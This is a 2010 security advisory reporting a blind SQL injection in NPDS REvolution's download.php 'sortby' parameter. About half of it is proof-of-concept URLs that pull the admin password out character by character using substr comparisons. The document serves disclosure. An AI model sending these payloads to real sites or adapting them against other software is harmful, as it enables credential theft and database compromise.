Blind SQL injection vulnerability in NPDS REvolution

2010-05-13T00:00:00
ID SECURITYVULNS:DOC:23863
Type securityvulns
Reporter Securityvulns
Modified 2010-05-13T00:00:00

Description

Vulnerability ID: HTB22364 Reference: http://www.htbridge.ch/advisory/blind_sql_injection_vulnerability_in_NPDSREvolution.html Product: NPDS REvolution Vendor: NPDS Vulnerable Version: REvolution 10.02 and Probably Prior Versions Vendor Notification: 29 April 2010 Vulnerability Type: Blind SQL Injection Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: High Credit: High-Tech Bridge SA (http://www.htbridge.ch/)

Vulnerability Details: The vulnerability exists due to failure in the "/download.php" script to properly sanitize user-supplied input in "sortby" variable. Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access to sensitive data, or exploit various vulnerabilities in the underlying SQL database.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

http://host/download.php?dcategory=All&sortby=%28select%20did%20from%20authors+where+aid=char%2897,100,109,105, 110%29+and+substr%28pwd,1,1%29=char%2848%29%29+DESC-- http://host/download.php?dcategory=All&sortby=%28select%20did%20from%20authors+where+aid=char%2897,100,109,105, 110%29+and+substr%28pwd,1,1%29=char%2849%29%29+DESC-- ... http://host/download.php?dcategory=All&sortby=%28select%20did%20from%20authors+where+aid=char%2897,100,109,105, 110%29+and+substr%28pwd,1,1%29=char%2884%29%29+DESC-- .... http://host/download.php?dcategory=All&sortby=%28select%20did%20from%20authors+where+aid=char%2897,100,109,105, 110%29+and+substr%28pwd,2,1%29=char%2848%29%29+DESC-- ... http://host/download.php?dcategory=All&sortby=%28select%20did%20from%20authors+where+aid=char%2897,100,109,105, 110%29+and+substr%28pwd,2,1%29=char%28101%29%29+DESC-- ... ... http://host/download.php?dcategory=All&sortby=%28select%20did%20from%20authors+where+aid=char%2897,100,109,105, 110%29+and+substr%28pwd,3,1%29=char%2852%29%29+DESC-- ... ... ...